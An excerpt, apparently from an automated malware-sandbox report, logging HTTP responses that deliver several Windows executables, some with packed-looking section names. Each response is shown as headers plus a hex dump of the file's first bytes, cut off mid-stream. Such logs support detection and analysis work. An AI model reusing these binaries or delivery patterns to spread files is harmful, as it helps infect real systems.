08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 20:20:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 20:20:31 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 20:20:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Jul 2024 20:20:33 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 04 Jul 2024 20:20:37 GMTContent-Type: application/octet-streamContent-Length: 1906688Last-Modified: Thu, 04 Jul 2024 20:03:38 GMTConnection: keep-aliveETag: "6687001a-1d1800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 84 ea 61 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e4 04 00 00 c6 01 00 00 00 00 00 00 a0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4b 00 00 04 00 00 d3 a3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 a0 06 00 6c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 8d 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 8c 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 dc 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ec 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 b0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 6f 73 75 75 66 71 65 00 00 1a 00 00 90 31 00 00 00 1a 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 78 6e 6c 74 65 74 77 00 10 00 00 00 90 4b 00 00 04 00 00 00 f2 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 a0 4b 00 00 22 00 00 00 f6 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 04 Jul 2024 20:21:04 GMTContent-Type: application/octet-streamContent-Length: 2533376Last-Modified: Thu, 04 Jul 2024 19:57:26 GMTConnection: keep-aliveETag: "6686fea6-26a800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c8 e6 86 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 fc 0d bf 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 bf 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 e0 9c 00 65 0e 00 00 88 ee 9c 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 9c 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 f0 78 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 80 22 00 00 b0 9c 00 00 74 22 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 04 Jul 2024 20:21:09 GMTContent-Type: application/octet-streamContent-Length: 1166336Last-Modified: Thu, 04 Jul 2024 20:03:03 GMTConnection: keep-aliveETag: "6686fff7-11cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f0 ff 86 66 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 1c 08 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 12 00 00 04 00 00 45 b2 12 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 7c 61 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 11 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 